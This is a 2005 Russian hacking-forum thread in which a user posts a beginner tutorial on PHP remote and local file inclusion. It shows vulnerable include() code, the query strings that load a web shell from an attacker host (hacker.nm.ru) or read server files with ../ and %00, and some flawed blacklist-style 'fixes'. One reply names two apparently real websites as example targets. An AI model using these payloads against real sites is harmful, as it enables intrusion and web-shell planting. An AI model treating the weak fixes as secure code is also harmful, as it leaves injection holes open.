Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

25.12.2005, 00:47
|
|
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме: 19975136
Репутация:
4536
|
|
php injection
Дело было вечером, делать было нечего… А сидеть в мирке с укуреными было неохота как-то… Вот решил построчить немного. Знаю что подобных статей, больше чем мне дней, но все же, свое это свое.
Сразу хочу сказать, что если вы не новичок, то можете не читать далее. Else, то читаем.
Php инъекция являются, наверно, самым распространенным, после sql-inj, багом.
И так , сама суть:
Есть код:
PHP код:
<?
..
Include ("$page.php");
…
?>
Программист сайта видимо надеялся на то, что в мире нет плохих юзверей, которые пройдут его сайт мимо. Но зря он надеялся. Наверное, каждый из нас, как увидит ссылку типа index.php?page=shop
Сразу вместо shop пишет dsdsds и смотрит на результат.Он будет примерно таким:
Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3
Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3
Warning: main(): Failed opening 'dsdsds.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3
Ура. Это и есть инлуд. Давайте подставим вместо dsdsds ссылку на наш сайт с шеллом, например http://hacker.nm.ru/shell (Важно! Без расширения на конце!) и о чудо, мы только что получили веб-шелл.
Идем дальше, есть код типа:
PHP код:
<?
..
Include ("files/$page.htm");
…
?>
:. Получается уже локальный инлкуд… Максимум, что мы добьемся - это просмотр файлов на сервере. Можно попробывать с нулевым байтов (%00) - это сделает возможным просмотреть файлы с разрешением отличным от .htm,(пример index.php?page=../index.php%00) но… такое уже редко встречается.
Третий тип:
PHP код:
<?
..
Include ("$patch/folder/page.php");
…
?>
Кажется, что тоже все безнадежно, как и во втором случае… Но если вдуматься, что нам мешает создать на удаленном сервере папку folder с page.php в ней?
Ничего не мешает. Создаем, и уже пишем index.php?patch=http://hacker.nm.ru/
И о чудо, мы снова видим там свой шелл :
Теперь, как избежать этого.
Случай первый:
PHP код:
<?
..
if (file_exists("$page.php")) //Проверим файл на сущесвтование. Если он есть, то мы вставим его
{
Include ("$page.php");
}
Else //Есле…
{
Echo "Error!";
}
…
?>
Случай второй:
PHP код:
<?
..
$page=str_replace("/","",$page); // Это отфильтрует возможность перехода в другие дириктории.
if (file_exists("files/$page.htm "))
{
Include ("files/$page.htm");
}
Else
{
Echo "error";
}
…
?>
Ну и третий случай(довольно редко встречается, но все же, недавно был обнаружен на одном из форумных движков…):
PHP код:
<?
…
$patch=str_replace("/","",$patch); // Отфильтруем нехорошие символы
$patch=str_replace(":","",$patch);
$patch=str_replace(".","",$patch);
if (file_exists("$patch/folder/page.php ")) //Проверим файл на существование. Если он есть, то мы вставим его
{
Include ("$patch/folder/page.php");
}
Else
{
Echo "Error!";
}
…
?>
Ну, вот в принципе и все, теперь, если вы не умели, то научились распознавать include баги, а также защищаться от них.
|
|
|

25.12.2005, 13:45
|
|
Крёстный отец :)
Регистрация: 22.06.2005
Сообщений: 1,330
Провел на форуме: 5302668
Репутация:
2054
|
|
_http://www.beta-bedrijvendagen.nl/main.php?file=../main.php
_http://www.compendiuminc.com/main.php?file= к примеру 
__________________
Лучший способ защиты - это нападение!!!
Последний раз редактировалось TANZWUT; 25.12.2005 в 14:16..
|
|
|

25.12.2005, 19:14
|
|
Постоянный
Регистрация: 28.02.2005
Сообщений: 853
Провел на форуме: 3369632
Репутация:
749
|
|
Теперь, когда вы так много знаете, я расскажу вам как правильно кушать ложкой.
Примерно тоже самое, что и эта статья. Green_beear молодец конечно, но не туда по-мойму труд ты свой прикладываешь немного.
К новому году, по словам Егорыча великого и ужасного, будет опубликована достаточно полная статья по теме на античате, так что не делайте полуфабрикатов =)
|
|
|

25.12.2005, 19:42
|
|
Super Moderator
Регистрация: 08.11.2004
Сообщений: 3,395
Провел на форуме: 13166814
Репутация:
3876
|
|
Zadoxlik, ну простые и не очень смертные не в курсе какие планы у вас с Егорычем.. =) Инициатива приветствуется)). Думаю, здесь осуждать не имеет смысла, беспочвенно).
|
|
|

10.01.2006, 13:32
|
|
Участник форума
Регистрация: 23.10.2005
Сообщений: 276
Провел на форуме: 1095453
Репутация:
113
|
|
Статейка просто супер. Мне понравился но вот только во многих сайтах это не проходит, например я пишу в место index.php?page=shop , index.php?page=xernya а страничка вообще не реагирует на ошибочный запрос ...было бы лучше если бы вы обяснили как тогда действовать
|
|
|

12.01.2006, 14:29
|
|
Постоянный
Регистрация: 22.01.2005
Сообщений: 764
Провел на форуме: 1086047
Репутация:
67
|
|
статья нормально, так как на ачате еще не писали, пусть будет в библиотеке, но нету приложений в виде простенького кода шелла.
|
|
|

14.01.2006, 22:33
|
|
Banned
Регистрация: 12.01.2006
Сообщений: 14
Провел на форуме: 20964
Репутация:
1
|
|
Тут кроме Белого Джордана об этой теме писать не могут. Ты не найдешь ни единой статьи об хсс кроме статей Алгола.
Последний раз редактировалось External; 14.01.2006 в 22:41..
|
|
|

14.01.2006, 23:34
|
|
Постоянный
Регистрация: 28.02.2005
Сообщений: 853
Провел на форуме: 3369632
Репутация:
749
|
|
Просто об ней уже все написано
|
|
|

14.01.2006, 23:51
|
|
.::Club Life::.
Регистрация: 28.01.2005
Сообщений: 1,205
Провел на форуме: 7426415
Репутация:
1398
|
|
Простая статья что такого ужасного написали грин бир молодец что такого?
|
|
|

15.01.2006, 05:36
|
|
Banned
Регистрация: 12.01.2006
Сообщений: 14
Провел на форуме: 20964
Репутация:
1
|
|
Сообщение от Zadoxlik
Просто об ней уже все написано
Ибо да, Алгола начал, а Белый Джордан закончил. Они все про хсс уже написали. Все что можно угу.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|